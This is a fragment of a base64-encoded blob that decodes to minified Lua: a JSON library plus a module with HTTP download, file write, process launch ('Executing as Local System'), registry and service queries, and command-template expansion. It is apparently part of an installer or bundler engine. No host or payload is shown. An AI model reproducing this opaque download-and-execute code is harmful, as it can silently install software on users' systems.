c2UgSlNPTiIsdCxlLG8pCmVuZAplbmQKZnVuY3Rpb24gdDpkZWNvZGUoZSxhKQppZiB0eXBlKHNl
bGYpfj0ndGFibGUnb3Igc2VsZi5fX2luZGV4fj10IHRoZW4KdDpvbkRlY29kZUVycm9yKCJKU09O
OmRlY29kZSBtdXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixuaWwsbmlsLGEpCmVuZApp
ZiBlPT1uaWwgdGhlbgpzZWxmOm9uRGVjb2RlT2ZOaWxFcnJvcihzdHJpbmcuZm9ybWF0KCJuaWwg
cGFzc2VkIHRvIEpTT046ZGVjb2RlKCkiKSxuaWwsbmlsLGEpCmVsc2VpZiB0eXBlKGUpfj0nc3Ry
aW5nJ3RoZW4Kc2VsZjpvbkRlY29kZUVycm9yKHN0cmluZy5mb3JtYXQoImV4cGVjdGVkIHN0cmlu
ZyBhcmd1bWVudCB0byBKU09OOmRlY29kZSgpLCBnb3QgJXMiLHR5cGUoZSkpLG5pbCxuaWwsYSkK
ZW5kCmlmIGU6bWF0Y2goJ14lcyokJyl0aGVuCnJldHVybiBuaWwKZW5kCmlmIGU6bWF0Y2goJ14l
cyo8Jyl0aGVuCnNlbGY6b25EZWNvZGVPZkhUTUxFcnJvcihzdHJpbmcuZm9ybWF0KCJodG1sIHBh
c3NlZCB0byBKU09OOmRlY29kZSgpIiksZSxuaWwsYSkKZW5kCmlmIGU6c3ViKDEsMSk6Ynl0ZSgp
PT0wIG9yKGU6bGVuKCk+PTIgYW5kIGU6c3ViKDIsMik6Ynl0ZSgpPT0wKXRoZW4Kc2VsZjpvbkRl
Y29kZUVycm9yKCJKU09OIHBhY2thZ2UgZ3Jva3Mgb25seSBVVEYtOCwgc29ycnkiLGUsbmlsLGEp
CmVuZApsb2NhbCB0LGU9cGNhbGwocyxzZWxmLGUsMSxhKQppZiB0IHRoZW4KcmV0dXJuIGUKZWxz
ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
